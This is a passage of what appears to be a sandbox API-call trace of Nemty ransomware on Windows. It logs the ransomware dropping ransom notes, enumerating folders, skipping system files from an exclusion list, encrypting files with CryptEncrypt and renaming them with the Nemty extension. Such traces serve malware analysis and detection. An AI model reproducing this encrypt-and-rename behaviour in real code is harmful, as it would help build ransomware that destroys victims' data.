dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.430] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.430] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.431] CloseHandle (hObject=0x254) returned 1 [0172.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.433] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.433] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.433] CloseHandle (hObject=0x254) returned 1 [0172.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.433] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a6b8290, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a6b8290, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.434] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.434] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a6b8290, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a6b8290, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.434] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.434] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.434] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x197f2, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0172.434] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0172.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.435] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.435] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.435] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.435] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.435] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.435] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.435] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0172.435] Sleep (dwMilliseconds=0x5) [0172.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a6de3f0, dwHighDateTime=0x1d561e8)) [0172.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a6de3f0, dwHighDateTime=0x1d561e8)) [0172.440] GetLastError () returned 0xb7 [0172.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.440] GetLastError () returned 0xb7 [0172.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.440] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.440] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.441] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0172.441] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="xHNQ1BTM8quVL9IuYWfLm/qHx6TSujCC07GCKqbcnbOYymCtRhFKXBx2tg9/TiSS\r\nCVqYpHK2Ty0jnw6MqC54FUKYo57CQJHCAOf7YcBCk/2qJ6PqZANIFTYRonIg6znl\r\nfXQRmyD1NGWKFY7ea7NVdCojN3NcjW76FJ7lecbPtBbknkhoCPww1CK2aBXvKOeV\r\nqcc+PJjIGfYaV2OSf58ytgj+J3kCSKAGwF8/tNKgJofLyHbrJIWNG3aqUKgL2ovw\r\nCPFO0KPsl7fmcV6ovpF88a1GrvdJGirSw/rpCNT+X2lcVeWB+HfXVvI7VfEVSEPd\r\nS6nK1HMdoMdELQqMqex5Dw==\r\n", pcchString=0x653e5dc) returned 1 [0172.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0172.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.441] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.441] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=104434) returned 1 [0172.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0172.441] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.441] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0172.450] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.450] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0172.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.451] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=104434, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x197f2 [0172.451] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.451] CloseHandle (hObject=0x3b0) returned 1 [0172.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0172.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0172.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.451] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0172.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0172.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.453] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d20, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0172.453] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0172.454] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0172.454] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0172.454] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0172.454] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0172.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0172.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.454] Sleep (dwMilliseconds=0x5) [0172.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a704550, dwHighDateTime=0x1d561e8)) [0172.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a704550, dwHighDateTime=0x1d561e8)) [0172.456] GetLastError () returned 0x0 [0172.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.456] GetLastError () returned 0x0 [0172.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.456] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.456] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.456] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, 